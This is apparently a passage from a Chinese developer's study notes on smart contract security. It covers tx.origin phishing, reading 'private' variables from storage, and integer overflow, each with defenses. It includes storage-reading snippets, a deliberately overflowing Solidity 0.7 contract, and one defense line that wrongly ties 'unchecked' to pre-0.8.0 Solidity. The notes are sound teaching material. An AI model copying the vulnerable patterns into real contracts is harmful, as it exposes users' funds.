  • 黑客部署 Exploiter 合约,在 Wallet 合约中使用 tx.origin 校验身份,那么只需要诱导用户执行 Exploiter中的 exploit 函数就将 ETH 转移到黑客的账户中
  • 黑客通过各种方式让用户执行 exploit 函数
  • 用户执行了 exploit 函数,Wallet 合约中的用户的 ETH 就被转移了

图9 tx.origin 攻击流程图

防御

  • 使用 msg.sender 作为验证
  • 避免使用 tx.origin 作为身份验证

私有变量

solidity 中有一个关键词是 privateprivate 关键词限制变量或函数只能在定义它们的合约内部访问,连继承的子合约都无法访问。但是需要注意的是 private 只是在合约中不可见,并不是在区块链中不可见。我们是可以通过:

  • 直接读取存储槽
  • 使用区块链浏览器
  • 通过节点API查询

这几种方式来读取 private 变量。

1
2
3
4
5
6
7
8
9
10
11
const contractAddress = '0x1234...'; // 合约地址
const storageSlot = 0; // 存储槽位置

// 使用 web3.js 读取 private 变量
const value = await web3.eth.getStorageAt(contractAddress, 0);
console.log(parseInt(value, 16)); // 输出: 12345


// 使用 ether.js 读取 private 变量
const value = await provider.getStorage(contractAddress, storageSlot);
console.log('Decimal value:', parseInt(value, 16));

防御

  • 智能合约应该避免使用 private 变量来存储敏感信息。

整数溢出

在计算机世界中所有的数据都是使用二进制表示的,在 EVM 也同样如此。在 solidity 中规定的整数类型有:

  • 有符号整型:从 int8int256 ,以 8 位为步长递增,取值范围:-2^(n-1) 到 2^(n-1)-1,如 int8 表示的取值范围为 -128到127
  • 无符号整型:从 uint8uint256,以 8 位为步长递增,取值范围:0 到 2^n-1,如 uint8 表示的取值范围为 0到255

所谓溢出就是超出类型的存储范围,以 uint8 为例,uint8 最大值为 255, 转换成二进制表示为 11111111,这时给 255+1也就是 256,在将其转为二进制数为 100000000,由于 uint8 只能存储 8 位,因此最高位就会被截断,最后的结果为 0=00000000

solidity 中需要注意的是,在 Solidity < 0.8.0 中默认是不会检查溢出,也不会抛出错误,需要开发者手动调用 SafeMath 来防止溢出,而在 Solidity >= 0.8.0 中默认启用溢出检查,检测到溢出时会抛出 panic ,可以使用 unchecked 来跳过检查。

来看个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.0;

contract OverflowExample {
uint8 public value = 255;
uint8 public downValue = 0;

function upoverflow() public {
/*
255 的二进制表示:11111111
255 + 1 = 256,但 256 需要 9 位二进制:100000000
由于 uint8 只能存储 8 位,高位被截断,结果变为 00000000(即 0)
*/
value += 1; // 结果为 0,不会报错
}

function downOverflow() public {
/*
0 的二进制表示:00000000
0 - 1 在无符号整数中会回绕到最大值
结果变为 11111111(即 255)
*/
downValue -= 1; // 结果变成 255
}
}

图10. 溢出之前后对比

防御

  • Solidity < 0.8.0 手动调用 SafeMath 来防止溢出
  • Solidity < 0.8.0 在使用 unchecked 时需要注意

总结

在日常开发智能合约时应当把安全放在第一位,这样可以避免很多不必要的损失。在区块链的发展历史中出现过很多因为开发者的疏忽导致的安全事件,造成了大量资金损失,有的资金被追回,有的导致出现分叉。

本文时笔者在学习合约安全时的一个笔记,可能存在一些错误,也还有一些安全没有总结到,希望各位前辈大佬能够及时指出,帮助小弟更进一步。

参考链接